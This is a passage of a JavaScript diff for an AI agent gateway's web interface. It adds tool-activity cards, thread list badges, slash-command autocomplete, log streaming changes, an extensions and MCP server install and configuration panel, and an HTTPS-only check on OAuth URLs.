entries.length === 0) return; + // Find first running card + let entry = null; + for (let i = 0; i < entries.length; i++) { + if (entries[i].card.getAttribute('data-status') === 'running') { + entry = entries[i]; + break; + } + } + if (!entry) entry = entries[entries.length - 1]; + + clearInterval(entry.timer); + const elapsed = (Date.now() - entry.startTime) / 1000; + entry.finalDuration = elapsed; + entry.duration.textContent = elapsed < 10 ? elapsed.toFixed(1) + 's' : Math.floor(elapsed) + 's'; + entry.icon.innerHTML = success + ? '✓' + : '✗'; + entry.card.setAttribute('data-status', success ? 'success' : 'fail'); + + // For failed tools, populate the body with error details and auto-expand + if (!success && (error || parameters)) { + const output = entry.card.querySelector('.activity-tool-output'); + if (output) { + let detail = ''; + if (parameters) { + detail += 'Input:\n' + parameters + '\n\n'; + } + if (error) { + detail += 'Error:\n' + error; + } + output.textContent = detail; + + // Auto-expand so the error is immediately visible + const body = entry.card.querySelector('.activity-tool-body'); + const chevron = entry.card.querySelector('.activity-tool-chevron'); + if (body) body.style.display = 'block'; + if (chevron) chevron.classList.add('expanded'); + } + } +} + +function setToolCardOutput(name, preview) { + const entries = _activeToolCards[name]; + if (!entries || entries.length === 0) return; + // Find first card with empty output + let entry = null; + for (let i = 0; i < entries.length; i++) { + const out = entries[i].card.querySelector('.activity-tool-output'); + if (out && !out.textContent) { + entry = entries[i]; + break; + } + } + if (!entry) entry = entries[entries.length - 1]; + + const output = entry.card.querySelector('.activity-tool-output'); + if (output) { + const truncated = preview.length > 2000 ? preview.substring(0, 2000) + '\n... (truncated)' : preview; + output.textContent = truncated; + } +} + +function finalizeActivityGroup() { + removeActivityThinking(); + if (!_activeGroup) return; + + // Stop all timers + for (const name in _activeToolCards) { + const entries = _activeToolCards[name]; + for (let i = 0; i < entries.length; i++) { + clearInterval(entries[i].timer); + } + } + + // Count tools and total duration + let toolCount = 0; + let totalDuration = 0; + for (const tname in _activeToolCards) { + const tentries = _activeToolCards[tname]; + for (let j = 0; j < tentries.length; j++) { + const entry = tentries[j]; + toolCount++; + if (entry.finalDuration !== null) { + totalDuration += entry.finalDuration; + } else { + // Tool was still running when finalized + totalDuration += (Date.now() - entry.startTime) / 1000; + } + } + } + + if (toolCount === 0) { + // No tools were used — remove the empty group + _activeGroup.remove(); + _activeGroup = null; + _activeToolCards = {}; return; } - el.innerHTML = (spinning ? '' : '') + escapeHtml(text); + + // Wrap existing cards into a hidden container + const cardsContainer = document.createElement('div'); + cardsContainer.className = 'activity-cards-container'; + cardsContainer.style.display = 'none'; + + const cards = _activeGroup.querySelectorAll('.activity-tool-card'); + for (let k = 0; k < cards.length; k++) { + cardsContainer.appendChild(cards[k]); + } + + // Build summary line + const durationStr = totalDuration < 10 ? totalDuration.toFixed(1) + 's' : Math.floor(totalDuration) + 's'; + const toolWord = toolCount === 1 ? 'tool' : 'tools'; + const summary = document.createElement('div'); + summary.className = 'activity-summary'; + summary.innerHTML = '▸' + + 'Used ' + toolCount + ' ' + toolWord + '' + + '(' + durationStr + ')'; + + summary.addEventListener('click', () => { + const isOpen = cardsContainer.style.display !== 'none'; + cardsContainer.style.display = isOpen ? 'none' : 'block'; + summary.querySelector('.activity-summary-chevron').classList.toggle('expanded', !isOpen); + }); + + // Clear group and add summary + hidden cards + _activeGroup.innerHTML = ''; + _activeGroup.classList.add('collapsed'); + _activeGroup.appendChild(summary); + _activeGroup.appendChild(cardsContainer); + + _activeGroup = null; + _activeToolCards = {}; } function showApproval(data) { @@ -505,7 +1033,7 @@ function showAuthCard(data) { oauthBtn.className = 'auth-oauth'; oauthBtn.textContent = 'Authenticate with ' + data.extension_name; oauthBtn.addEventListener('click', () => { - window.open(data.auth_url, '_blank', 'width=600,height=700'); + openOAuthUrl(data.auth_url); }); links.appendChild(oauthBtn); } @@ -528,7 +1056,7 @@ function showAuthCard(data) { const tokenInput = document.createElement('input'); tokenInput.type = 'password'; - tokenInput.placeholder = 'Paste your API key or token'; + tokenInput.placeholder = data.instructions || 'Paste your API key or token'; tokenInput.addEventListener('keydown', (e) => { if (e.key === 'Enter') submitAuthToken(data.extension_name, tokenInput.value); }); @@ -636,18 +1164,37 @@ function loadHistory(before) { // Fresh load: clear and render container.innerHTML = ''; for (const turn of data.turns) { - addMessage('user', turn.user_input); + if (turn.user_input) { + addMessage('user', turn.user_input); + } + if (turn.tool_calls && turn.tool_calls.length > 0) { + addToolCallsSummary(turn.tool_calls); + } if (turn.response) { addMessage('assistant', turn.response); } } + // Show processing indicator if the last turn is still in-progress + var lastTurn = data.turns.length > 0 ? data.turns[data.turns.length - 1] : null; + if (lastTurn && !lastTurn.response && lastTurn.state === 'Processing') { + showActivityThinking('Processing...'); + } + // Re-render pending approval card if the thread is awaiting approval + if (data.pending_approval) { + showApproval(data.pending_approval); + } } else { // Pagination: prepend older messages const savedHeight = container.scrollHeight; const fragment = document.createDocumentFragment(); for (const turn of data.turns) { - const userDiv = createMessageElement('user', turn.user_input); - fragment.appendChild(userDiv); + if (turn.user_input) { + const userDiv = createMessageElement('user', turn.user_input); + fragment.appendChild(userDiv); + } + if (turn.tool_calls && turn.tool_calls.length > 0) { + fragment.appendChild(createToolCallsSummaryElement(turn.tool_calls)); + } if (turn.response) { const assistantDiv = createMessageElement('assistant', turn.response); fragment.appendChild(assistantDiv); @@ -681,6 +1228,61 @@ function createMessageElement(role, content) { return div; } +function addToolCallsSummary(toolCalls) { + const container = document.getElementById('chat-messages'); + container.appendChild(createToolCallsSummaryElement(toolCalls)); + container.scrollTop = container.scrollHeight; +} + +function createToolCallsSummaryElement(toolCalls) { + const div = document.createElement('div'); + div.className = 'tool-calls-summary'; + + const header = document.createElement('div'); + header.className = 'tool-calls-header'; + header.textContent = toolCalls.length + ' tool' + (toolCalls.length !== 1 ? 's' : '') + ' used'; + div.appendChild(header); + + const list = document.createElement('div'); + list.className = 'tool-calls-list'; + + for (const tc of toolCalls) { + const item = document.createElement('div'); + item.className = 'tool-call-item' + (tc.has_error ? ' tool-error' : ''); + + const icon = tc.has_error ? '\u2717' : '\u2713'; + const nameSpan = document.createElement('span'); + nameSpan.className = 'tool-call-name'; + nameSpan.textContent = icon + ' ' + tc.name; + item.appendChild(nameSpan); + + if (tc.result_preview) { + const preview = document.createElement('div'); + preview.className = 'tool-call-preview'; + preview.textContent = tc.result_preview; + item.appendChild(preview); + } + if (tc.error) { + const errDiv = document.createElement('div'); + errDiv.className = 'tool-call-error-text'; + errDiv.textContent = tc.error; + item.appendChild(errDiv); + } + + list.appendChild(item); + } + + div.appendChild(list); + + header.style.cursor = 'pointer'; + header.addEventListener('click', () => { + list.classList.toggle('expanded'); + header.classList.toggle('expanded'); + }); + + return div; +} + function removeScrollSpinner() { const spinner = document.getElementById('scroll-load-spinner'); if (spinner) spinner.remove(); @@ -688,6 +1290,37 @@ function removeScrollSpinner() { // --- Threads --- +function threadTitle(thread) { + if (thread.title) return thread.title; + const ch = thread.channel || 'gateway'; + if (thread.thread_type === 'heartbeat') return 'Heartbeat Alerts'; + if (thread.thread_type === 'routine') return 'Routine'; + if (ch !== 'gateway') return ch.charAt(0).toUpperCase() + ch.slice(1); + if (thread.turn_count === 0) return 'New chat'; + return thread.id.substring(0, 8); +} + +function relativeTime(isoStr) { + if (!isoStr) return ''; + const diff = Date.now() - new Date(isoStr).getTime(); + const mins = Math.floor(diff / 60000); + if (mins < 1) return 'now'; + if (mins < 60) return mins + 'm ago'; + const hrs = Math.floor(mins / 60); + if (hrs < 24) return hrs + 'h ago'; + const days = Math.floor(hrs / 24); + return days + 'd ago'; +} + +function isReadOnlyChannel(channel) { + return channel && channel !== 'gateway' && channel !== 'routine' && channel !== 'heartbeat'; +} + +function debouncedLoadThreads() { + if (_loadThreadsTimer) clearTimeout(_loadThreadsTimer); + _loadThreadsTimer = setTimeout(() => { _loadThreadsTimer = null; loadThreads(); }, 500); +} + function loadThreads() { apiFetch('/api/chat/threads').then((data) => { // Pinned assistant thread @@ -696,9 +1329,13 @@ function loadThreads() { const el = document.getElementById('assistant-thread'); const isActive = currentThreadId === assistantThreadId; el.className = 'assistant-item' + (isActive ? ' active' : ''); + const labelEl = document.getElementById('assistant-label'); + if (labelEl) { + const at = data.assistant_thread; + labelEl.textContent = 'Assistant'; + } const meta = document.getElementById('assistant-meta'); - const count = data.assistant_thread.turn_count || 0; - meta.textContent = count > 0 ? count + ' turns' : ''; + meta.textContent = relativeTime(data.assistant_thread.updated_at); } // Regular threads @@ -707,16 +1344,38 @@ function loadThreads() { const threads = data.threads || []; for (const thread of threads) { const item = document.createElement('div'); - item.className = 'thread-item' + (thread.id === currentThreadId ? ' active' : ''); + const isActive = thread.id === currentThreadId; + item.className = 'thread-item' + (isActive ? ' active' : ''); + + // Channel badge for non-gateway threads + const ch = thread.channel || 'gateway'; + if (ch !== 'gateway') { + const badge = document.createElement('span'); + badge.className = 'thread-badge thread-badge-' + ch; + badge.textContent = ch; + item.appendChild(badge); + } + const label = document.createElement('span'); label.className = 'thread-label'; - label.textContent = thread.title || thread.id.substring(0, 8); - label.title = thread.title ? thread.title + ' (' + thread.id + ')' : thread.id; + label.textContent = threadTitle(thread); + label.title = (thread.title || '') + ' (' + thread.id + ')'; item.appendChild(label); + const meta = document.createElement('span'); meta.className = 'thread-meta'; - meta.textContent = (thread.turn_count || 0) + ' turns'; + meta.textContent = relativeTime(thread.updated_at); item.appendChild(meta); + + // Unread dot + const unread = unreadThreads.get(thread.id) || 0; + if (unread > 0 && !isActive) { + const dot = document.createElement('span'); + dot.className = 'thread-unread'; + dot.textContent = unread > 9 ? '9+' : String(unread); + item.appendChild(dot); + } + item.addEventListener('click', () => switchThread(thread.id)); list.appendChild(item); } @@ -725,12 +1384,37 @@ function loadThreads() { if (!currentThreadId && assistantThreadId) { switchToAssistant(); } + + // Enable/disable chat input based on channel type + if (currentThreadId) { + const currentThread = threads.find(t => t.id === currentThreadId); + const ch = currentThread ? currentThread.channel : 'gateway'; + currentThreadIsReadOnly = isReadOnlyChannel(ch); + if (currentThreadIsReadOnly) { + disableChatInputReadOnly(); + } else { + enableChatInput(); + } + } }).catch(() => {}); } +function disableChatInputReadOnly() { + const input = document.getElementById('chat-input'); + const btn = document.getElementById('send-btn'); + if (input) { + input.disabled = true; + input.placeholder = 'Read-only thread (external channel)'; + } + if (btn) btn.disabled = true; +} + function switchToAssistant() { if (!assistantThreadId) return; + finalizeActivityGroup(); currentThreadId = assistantThreadId; + currentThreadIsReadOnly = false; + unreadThreads.delete(assistantThreadId); hasMore = false; oldestTimestamp = null; loadHistory(); @@ -738,7 +1422,9 @@ function switchToAssistant() { } function switchThread(threadId) { + finalizeActivityGroup(); currentThreadId = threadId; + unreadThreads.delete(threadId); hasMore = false; oldestTimestamp = null; loadHistory(); @@ -749,7 +1435,6 @@ function createNewThread() { apiFetch('/api/chat/thread/new', { method: 'POST' }).then((data) => { currentThreadId = data.id || null; document.getElementById('chat-messages').innerHTML = ''; - setStatus(''); loadThreads(); }).catch((err) => { showToast('Failed to create thread: ' + err.message, 'error'); @@ -766,12 +1451,50 @@ function toggleThreadSidebar() { // Chat input auto-resize and keyboard handling const chatInput = document.getElementById('chat-input'); chatInput.addEventListener('keydown', (e) => { + const acEl = document.getElementById('slash-autocomplete'); + const acVisible = acEl && acEl.style.display !== 'none'; + + if (acVisible) { + const items = acEl.querySelectorAll('.slash-ac-item'); + if (e.key === 'ArrowDown') { + e.preventDefault(); + _slashSelected = Math.min(_slashSelected + 1, items.length - 1); + updateSlashHighlight(); + return; + } + if (e.key === 'ArrowUp') { + e.preventDefault(); + _slashSelected = Math.max(_slashSelected - 1, -1); + updateSlashHighlight(); + return; + } + if (e.key === 'Tab' || e.key === 'Enter') { + e.preventDefault(); + const pick = _slashSelected >= 0 ? _slashMatches[_slashSelected] : _slashMatches[0]; + if (pick) selectSlashItem(pick.cmd); + return; + } + if (e.key === 'Escape') { + e.preventDefault(); + hideSlashAutocomplete(); + return; + } + } + if (e.key === 'Enter' && !e.shiftKey) { e.preventDefault(); + hideSlashAutocomplete(); sendMessage(); } }); -chatInput.addEventListener('input', () => autoResizeTextarea(chatInput)); +chatInput.addEventListener('input', () => { + autoResizeTextarea(chatInput); + filterSlashCommands(chatInput.value); +}); +chatInput.addEventListener('blur', () => { + // Small delay so mousedown on autocomplete item fires first + setTimeout(hideSlashAutocomplete, 150); +}); // Infinite scroll: load older messages when scrolled near the top document.getElementById('chat-messages').addEventListener('scroll', function () { @@ -814,7 +1537,13 @@ function switchTab(tab) { if (tab === 'jobs') loadJobs(); if (tab === 'routines') loadRoutines(); if (tab === 'logs') applyLogFilters(); - if (tab === 'extensions') loadExtensions(); + if (tab === 'extensions') { + loadExtensions(); + startPairingPoll(); + } else { + stopPairingPoll(); + } + if (tab === 'skills') loadSkills(); } // --- Memory (filesystem tree) --- @@ -996,7 +1725,9 @@ function buildBreadcrumb(path) { let current = ''; for (const part of parts) { current += (current ? '/' : '') + part; - html += ' / ' + escapeHtml(part) + ''; + // Store the path in data-path (HTML-escaped) and read it back via this.dataset.path + // to avoid single-quote injection in inline JS string literals. + html += ' / ' + escapeHtml(part) + ''; } return html; } @@ -1069,7 +1800,7 @@ function connectLogSSE() { logBuffer.push(entry); return; } - appendLogEntry(entry); + prependLogEntry(entry); }); logEventSource.onerror = () => { @@ -1077,7 +1808,7 @@ function connectLogSSE() { }; } -function appendLogEntry(entry) { +function prependLogEntry(entry) { const output = document.getElementById('logs-output'); // Level filter @@ -1118,16 +1849,16 @@ function appendLogEntry(entry) { div.style.display = 'none'; } - output.appendChild(div); + output.prepend(div); - // Cap entries + // Cap entries (remove oldest at the bottom) while (output.children.length > LOG_MAX_ENTRIES) { - output.removeChild(output.firstChild); + output.removeChild(output.lastChild); } - // Auto-scroll + // Auto-scroll to top (newest entries are at the top) if (document.getElementById('logs-autoscroll').checked) { - output.scrollTop = output.scrollHeight; + output.scrollTop = 0; } } @@ -1137,9 +1868,9 @@ function toggleLogsPause() { btn.textContent = logsPaused ? 'Resume' : 'Pause'; if (!logsPaused) { - // Flush buffer + // Flush buffer: oldest-first + prepend naturally puts newest at top for (const entry of logBuffer) { - appendLogEntry(entry); + prependLogEntry(entry); } logBuffer = []; } @@ -1166,19 +1897,45 @@ function applyLogFilters() { } } +// --- Server-side log level control --- + +function setServerLogLevel(level) { + apiFetch('/api/logs/level', { + method: 'PUT', + body: { level }, + }) + .then(data => { + document.getElementById('logs-server-level').value = data.level; + }) + .catch(err => console.error('Failed to set server log level:', err)); +} + +function loadServerLogLevel() { + apiFetch('/api/logs/level') + .then(data => { + document.getElementById('logs-server-level').value = data.level; + }) + .catch(() => {}); // ignore if not available +} + // --- Extensions --- +var kindLabels = { 'wasm_channel': 'Channel', 'wasm_tool': 'Tool', 'mcp_server': 'MCP' }; + function loadExtensions() { const extList = document.getElementById('extensions-list'); + const wasmList = document.getElementById('available-wasm-list'); + const mcpList = document.getElementById('mcp-servers-list'); const toolsTbody = document.getElementById('tools-tbody'); const toolsEmpty = document.getElementById('tools-empty'); - // Fetch both in parallel + // Fetch all three in parallel Promise.all([ apiFetch('/api/extensions').catch(() => ({ extensions: [] })), apiFetch('/api/extensions/tools').catch(() => ({ tools: [] })), - ]).then(([extData, toolData]) => { - // Render extensions + apiFetch('/api/extensions/registry').catch(function(err) { console.warn('registry fetch failed:', err); return { entries: [] }; }), + ]).then(([extData, toolData, registryData]) => { + // Render installed extensions if (extData.extensions.length === 0) { extList.innerHTML = '
No extensions installed
'; } else { @@ -1188,6 +1945,31 @@ function loadExtensions() { } } + // Split registry entries by kind + var wasmEntries = registryData.entries.filter(function(e) { return e.kind !== 'mcp_server' && !e.installed; }); + var mcpEntries = registryData.entries.filter(function(e) { return e.kind === 'mcp_server'; }); + + // Available WASM extensions + if (wasmEntries.length === 0) { + wasmList.innerHTML = '
No additional WASM extensions available
'; + } else { + wasmList.innerHTML = ''; + for (const entry of wasmEntries) { + wasmList.appendChild(renderAvailableExtensionCard(entry)); + } + } + + // MCP servers (show both installed and uninstalled) + if (mcpEntries.length === 0) { + mcpList.innerHTML = '
No MCP servers available
'; + } else { + mcpList.innerHTML = ''; + for (const entry of mcpEntries) { + var installedExt = extData.extensions.find(function(e) { return e.name === entry.name; }); + mcpList.appendChild(renderMcpServerCard(entry, installedExt)); + } + } + // Render tools if (toolData.tools.length === 0) { toolsTbody.innerHTML = ''; @@ -1201,6 +1983,173 @@ function loadExtensions() { }); } +function renderAvailableExtensionCard(entry) { + const card = document.createElement('div'); + card.className = 'ext-card ext-available'; + + const header = document.createElement('div'); + header.className = 'ext-header'; + + const name = document.createElement('span'); + name.className = 'ext-name'; + name.textContent = entry.display_name; + header.appendChild(name); + + const kind = document.createElement('span'); + kind.className = 'ext-kind kind-' + entry.kind; + kind.textContent = kindLabels[entry.kind] || entry.kind; + header.appendChild(kind); + + if (entry.version) { + const ver = document.createElement('span'); + ver.className = 'ext-version'; + ver.textContent = 'v' + entry.version; + header.appendChild(ver); + } + + card.appendChild(header); + + const desc = document.createElement('div'); + desc.className = 'ext-desc'; + desc.textContent = entry.description; + card.appendChild(desc); + + if (entry.keywords && entry.keywords.length > 0) { + const kw = document.createElement('div'); + kw.className = 'ext-keywords'; + kw.textContent = entry.keywords.join(', '); + card.appendChild(kw); + } + + const actions = document.createElement('div'); + actions.className = 'ext-actions'; + + const installBtn = document.createElement('button'); + installBtn.className = 'btn-ext install'; + installBtn.textContent = 'Install'; + installBtn.addEventListener('click', function() { + installBtn.disabled = true; + installBtn.textContent = 'Installing...'; + apiFetch('/api/extensions/install', { + method: 'POST', + body: { name: entry.name, kind: entry.kind }, + }).then(function(res) { + if (res.success) { + showToast('Installed ' + entry.display_name, 'success'); + // OAuth popup if auth started during install (builtin creds) + if (res.auth_url) { + showToast('Opening authentication for ' + entry.display_name, 'info'); + openOAuthUrl(res.auth_url); + } + loadExtensions(); + // Auto-open configure for WASM channels + if (entry.kind === 'wasm_channel') { + showConfigureModal(entry.name); + } + } else { + showToast('Install: ' + (res.message || 'unknown error'), 'error'); + loadExtensions(); + } + }).catch(function(err) { + showToast('Install failed: ' + err.message, 'error'); + loadExtensions(); + }); + }); + actions.appendChild(installBtn); + + card.appendChild(actions); + return card; +} + +function renderMcpServerCard(entry, installedExt) { + var card = document.createElement('div'); + card.className = 'ext-card' + (installedExt ? '' : ' ext-available'); + + var header = document.createElement('div'); + header.className = 'ext-header'; + + var name = document.createElement('span'); + name.className = 'ext-name'; + name.textContent = entry.display_name; + header.appendChild(name); + + var kind = document.createElement('span'); + kind.className = 'ext-kind kind-mcp_server'; + kind.textContent = kindLabels['mcp_server'] || 'mcp_server'; + header.appendChild(kind); + + if (installedExt) { + var authDot = document.createElement('span'); + authDot.className = 'ext-auth-dot ' + (installedExt.authenticated ? 'authed' : 'unauthed'); + authDot.title = installedExt.authenticated ? 'Authenticated' : 'Not authenticated'; + header.appendChild(authDot); + } + + card.appendChild(header); + + var desc = document.createElement('div'); + desc.className = 'ext-desc'; + desc.textContent = entry.description; + card.appendChild(desc); + + var actions = document.createElement('div'); + actions.className = 'ext-actions'; + + if (installedExt) { + if (!installedExt.active) { + var activateBtn = document.createElement('button'); + activateBtn.className = 'btn-ext activate'; + activateBtn.textContent = 'Activate'; + activateBtn.addEventListener('click', function() { activateExtension(installedExt.name); }); + actions.appendChild(activateBtn); + } else { + var activeLabel = document.createElement('span'); + activeLabel.className = 'ext-active-label'; + activeLabel.textContent = 'Active'; + actions.appendChild(activeLabel); + } + var removeBtn = document.createElement('button'); + removeBtn.className = 'btn-ext remove'; + removeBtn.textContent = 'Remove'; + removeBtn.addEventListener('click', function() { removeExtension(installedExt.name); }); + actions.appendChild(removeBtn); + } else { + var installBtn = document.createElement('button'); + installBtn.className = 'btn-ext install'; + installBtn.textContent = 'Install'; + installBtn.addEventListener('click', function() { + installBtn.disabled = true; + installBtn.textContent = 'Installing...'; + apiFetch('/api/extensions/install', { + method: 'POST', + body: { name: entry.name, kind: entry.kind }, + }).then(function(res) { + if (res.success) { + showToast('Installed ' + entry.display_name, 'success'); + } else { + showToast('Install: ' + (res.message || 'unknown error'), 'error'); + } + loadExtensions(); + }).catch(function(err) { + showToast('Install failed: ' + err.message, 'error'); + loadExtensions(); + }); + }); + actions.appendChild(installBtn); + } + + card.appendChild(actions); + return card; +} + +function createReconfigureButton(extName) { + var btn = document.createElement('button'); + btn.className = 'btn-ext configure'; + btn.textContent = 'Reconfigure'; + btn.addEventListener('click', function() { showConfigureModal(extName); }); + return btn; +} + function renderExtensionCard(ext) { const card = document.createElement('div'); card.className = 'ext-card'; @@ -1210,21 +2159,36 @@ function renderExtensionCard(ext) { const name = document.createElement('span'); name.className = 'ext-name'; - name.textContent = ext.name; + name.textContent = ext.display_name || ext.name; header.appendChild(name); const kind = document.createElement('span'); kind.className = 'ext-kind kind-' + ext.kind; - kind.textContent = ext.kind; + kind.textContent = kindLabels[ext.kind] || ext.kind; header.appendChild(kind); - const authDot = document.createElement('span'); - authDot.className = 'ext-auth-dot ' + (ext.authenticated ? 'authed' : 'unauthed'); - authDot.title = ext.authenticated ? 'Authenticated' : 'Not authenticated'; - header.appendChild(authDot); + if (ext.version) { + const ver = document.createElement('span'); + ver.className = 'ext-version'; + ver.textContent = 'v' + ext.version; + header.appendChild(ver); + } + + // Auth dot only for non-WASM-channel extensions (channels use the stepper instead) + if (ext.kind !== 'wasm_channel') { + const authDot = document.createElement('span'); + authDot.className = 'ext-auth-dot ' + (ext.authenticated ? 'authed' : 'unauthed'); + authDot.title = ext.authenticated ? 'Authenticated' : 'Not authenticated'; + header.appendChild(authDot); + } card.appendChild(header); + // WASM channels get a progress stepper + if (ext.kind === 'wasm_channel') { + card.appendChild(renderWasmChannelStepper(ext)); + } + if (ext.description) { const desc = document.createElement('div'); desc.className = 'ext-desc'; @@ -1240,27 +2204,77 @@ function renderExtensionCard(ext) { card.appendChild(url); } - if (ext.tools.length > 0) { + if (ext.tools && ext.tools.length > 0) { const tools = document.createElement('div'); tools.className = 'ext-tools'; tools.textContent = 'Tools: ' + ext.tools.join(', '); card.appendChild(tools); } + // Show activation error for WASM channels + if (ext.kind === 'wasm_channel' && ext.activation_error) { + const errorDiv = document.createElement('div'); + errorDiv.className = 'ext-error'; + errorDiv.textContent = ext.activation_error; + card.appendChild(errorDiv); + } + + const actions = document.createElement('div'); actions.className = 'ext-actions'; - if (!ext.active) { - const activateBtn = document.createElement('button'); - activateBtn.className = 'btn-ext activate'; - activateBtn.textContent = 'Activate'; - activateBtn.addEventListener('click', () => activateExtension(ext.name)); - actions.appendChild(activateBtn); + if (ext.kind === 'wasm_channel') { + // WASM channels: state-based buttons (no generic Activate) + var status = ext.activation_status || 'installed'; + if (status === 'active') { + var activeLabel = document.createElement('span'); + activeLabel.className = 'ext-active-label'; + activeLabel.textContent = 'Active'; + actions.appendChild(activeLabel); + actions.appendChild(createReconfigureButton(ext.name)); + } else if (status === 'pairing') { + var pairingLabel = document.createElement('span'); + pairingLabel.className = 'ext-pairing-label'; + pairingLabel.textContent = 'Awaiting Pairing'; + actions.appendChild(pairingLabel); + actions.appendChild(createReconfigureButton(ext.name)); + } else if (status === 'failed') { + actions.appendChild(createReconfigureButton(ext.name)); + } else { + // installed or configured: show Setup button + var setupBtn = document.createElement('button'); + setupBtn.className = 'btn-ext configure'; + setupBtn.textContent = 'Setup'; + setupBtn.addEventListener('click', function() { showConfigureModal(ext.name); }); + actions.appendChild(setupBtn); + } } else { + // WASM tools / MCP servers const activeLabel = document.createElement('span'); activeLabel.className = 'ext-active-label'; - activeLabel.textContent = 'Active'; + activeLabel.textContent = ext.active ? 'Active' : 'Installed'; actions.appendChild(activeLabel); + + // MCP servers may be installed but inactive — show Activate button + if (ext.kind === 'mcp_server' && !ext.active) { + const activateBtn = document.createElement('button'); + activateBtn.className = 'btn-ext activate'; + activateBtn.textContent = 'Activate'; + activateBtn.addEventListener('click', () => activateExtension(ext.name)); + actions.appendChild(activateBtn); + } + + // Show Configure/Reconfigure button when there are secrets to enter. + // Skip when has_auth is true but needs_setup is false and not yet authenticated — + // this means OAuth credentials resolve automatically (builtin/env) and the user + // just needs to complete the OAuth flow, not fill in a config form. + if (ext.needs_setup || (ext.has_auth && ext.authenticated)) { + const configBtn = document.createElement('button'); + configBtn.className = 'btn-ext configure'; + configBtn.textContent = ext.authenticated ? 'Reconfigure' : 'Configure'; + configBtn.addEventListener('click', () => showConfigureModal(ext.name)); + actions.appendChild(configBtn); + } } const removeBtn = document.createElement('button'); @@ -1270,6 +2284,16 @@ function renderExtensionCard(ext) { actions.appendChild(removeBtn); card.appendChild(actions); + + // For WASM channels, check for pending pairing requests. + if (ext.kind === 'wasm_channel') { + const pairingSection = document.createElement('div'); + pairingSection.className = 'ext-pairing'; + pairingSection.setAttribute('data-channel', ext.name); + card.appendChild(pairingSection); + loadPairingRequests(ext.name, pairingSection); + } + return card; } @@ -1277,15 +2301,20 @@ function activateExtension(name) { apiFetch('/api/extensions/' + encodeURIComponent(name) + '/activate', { method: 'POST' }) .then((res) => { if (res.success) { + // Even on success, the tool may need OAuth (e.g., WASM loaded but no token yet) + if (res.auth_url) { + showToast('Opening authentication for ' + name, 'info'); + openOAuthUrl(res.auth_url); + } loadExtensions(); return; } if (res.auth_url) { showToast('Opening authentication for ' + name, 'info'); - window.open(res.auth_url, '_blank'); + openOAuthUrl(res.auth_url); } else if (res.awaiting_token) { - showToast(res.instructions || 'Please provide an API token for ' + name, 'info'); + showConfigureModal(name); } else { showToast('Activate failed: ' + res.message, 'error'); } @@ -1308,6 +2337,303 @@ function removeExtension(name) { .catch((err) => showToast('Remove failed: ' + err.message, 'error')); } +function showConfigureModal(name) { + apiFetch('/api/extensions/' + encodeURIComponent(name) + '/setup') + .then((setup) => { + if (!setup.secrets || setup.secrets.length === 0) { + showToast('No configuration needed for ' + name, 'info'); + return; + } + renderConfigureModal(name, setup.secrets); + }) + .catch((err) => showToast('Failed to load setup: ' + err.message, 'error')); +} + +function renderConfigureModal(name, secrets) { + closeConfigureModal(); + const overlay = document.createElement('div'); + overlay.className = 'configure-overlay'; + overlay.addEventListener('click', (e) => { + if (e.target === overlay) closeConfigureModal(); + }); + + const modal = document.createElement('div'); + modal.className = 'configure-modal'; + + const header = document.createElement('h3'); + header.textContent = 'Configure ' + name; + modal.appendChild(header); + + const form = document.createElement('div'); + form.className = 'configure-form'; + + const fields = []; + for (const secret of secrets) { + const field = document.createElement('div'); + field.className = 'configure-field'; + + const label = document.createElement('label'); + label.textContent = secret.prompt; + if (secret.optional) { + const opt = document.createElement('span'); + opt.className = 'field-optional'; + opt.textContent = ' (optional)'; + label.appendChild(opt); + } + field.appendChild(label); + + const inputRow = document.createElement('div'); + inputRow.className = 'configure-input-row'; + + const input = document.createElement('input'); + input.type = 'password'; + input.name = secret.name; + input.placeholder = secret.provided ? '(already set — leave empty to keep)' : ''; + input.addEventListener('keydown', (e) => { + if (e.key === 'Enter') submitConfigureModal(name, fields); + }); + inputRow.appendChild(input); + + if (secret.provided) { + const badge = document.createElement('span'); + badge.className = 'field-provided'; + badge.textContent = '\u2713'; + badge.title = 'Already configured'; + inputRow.appendChild(badge); + } + if (secret.auto_generate && !secret.provided) { + const hint = document.createElement('span'); + hint.className = 'field-autogen'; + hint.textContent = 'Auto-generated if empty'; + inputRow.appendChild(hint); + } + + field.appendChild(inputRow); + form.appendChild(field); + fields.push({ name: secret.name, input: input }); + } + + modal.appendChild(form); + + const actions = document.createElement('div'); + actions.className = 'configure-actions'; + + const submitBtn = document.createElement('button'); + submitBtn.className = 'btn-ext activate'; + submitBtn.textContent = 'Save'; + submitBtn.addEventListener('click', () => submitConfigureModal(name, fields)); + actions.appendChild(submitBtn); + + const cancelBtn = document.createElement('button'); + cancelBtn.className = 'btn-ext remove'; + cancelBtn.textContent = 'Cancel'; + cancelBtn.addEventListener('click', closeConfigureModal); + actions.appendChild(cancelBtn); + + modal.appendChild(actions); + overlay.appendChild(modal); + document.body.appendChild(overlay); + + if (fields.length > 0) fields[0].input.focus(); +} + +function submitConfigureModal(name, fields) { + const secrets = {}; + for (const f of fields) { + if (f.input.value.trim()) { + secrets[f.name] = f.input.value.trim(); + } + } + + // Disable buttons to prevent double-submit + var btns = document.querySelectorAll('.configure-actions button'); + btns.forEach(function(b) { b.disabled = true; }); + + apiFetch('/api/extensions/' + encodeURIComponent(name) + '/setup', { + method: 'POST', + body: { secrets }, + }) + .then((res) => { + if (res.success) { + closeConfigureModal(); + if (res.auth_url) { + // OAuth flow started — open consent popup. The auth_completed SSE will + // not arrive immediately (it fires after OAuth callback), so show a toast now. + showToast('Opening OAuth authorization for ' + name, 'info'); + openOAuthUrl(res.auth_url); + loadExtensions(); + } + // For non-OAuth success: the server always broadcasts auth_completed SSE, + // which will show the toast and refresh extensions — no need to do it here too. + } else { + // Keep modal open so the user can correct their input and retry. + btns.forEach(function(b) { b.disabled = false; }); + showToast(res.message || 'Configuration failed', 'error'); + } + }) + .catch((err) => { + btns.forEach(function(b) { b.disabled = false; }); + showToast('Configuration failed: ' + err.message, 'error'); + }); +} + +function closeConfigureModal() { + const existing = document.querySelector('.configure-overlay'); + if (existing) existing.remove(); +} + +// Validate that a server-supplied OAuth URL is HTTPS before opening a popup. +// Rejects javascript:, data:, and other non-HTTPS schemes to prevent URL-injection. +// Uses the URL constructor to safely parse and validate the scheme, which also +// handles non-string values (objects, null, etc.) that would throw on .startsWith(). +function openOAuthUrl(url) { + let parsed; + try { + parsed = new URL(url); + if (parsed.protocol !== 'https:') { + throw new Error('non-HTTPS protocol: ' + parsed.protocol); + } + } catch (e) { + console.warn('Blocked invalid/non-HTTPS OAuth URL:', url, e.message); + showToast('Invalid OAuth URL returned by server', 'error'); + return; + } + 